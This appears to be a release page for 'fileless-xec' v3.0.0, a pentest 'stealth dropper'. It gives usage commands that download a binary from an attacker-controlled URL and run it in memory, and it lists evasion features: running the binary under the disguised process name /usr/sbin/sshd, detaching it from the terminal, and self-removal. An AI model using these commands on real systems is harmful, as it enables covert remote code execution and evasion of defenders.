Locked fileless-xec v3.0.0 - A stealth dropper

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fileless-xec – A stealth dropper

Pentest use: fileless-xec is used on the target machine to execute a binary file on an attacker-controlled machine

Short story

fileless-xec enable us to execute a remote binary on a local machine in one step without dropping them on disk

    simple usage fileless-xec <binary_url>
    execute binary with specified program name: fileless-xec -n /usr/sbin/sshd <binary_raw_url>
    retrieve remote binary using http3 protocol and execute it: fileless-xec -http3 <binary_raw_url>
    detach program execution from tty: setsid fileless-xec […]

3.0.0 Latest

Changed

    Rebranding from curlNexecto fileless-xec

Added

    Self remove of fileless-xec dropper
    Server mode
    Windows support
    Exec without using memfd syscall

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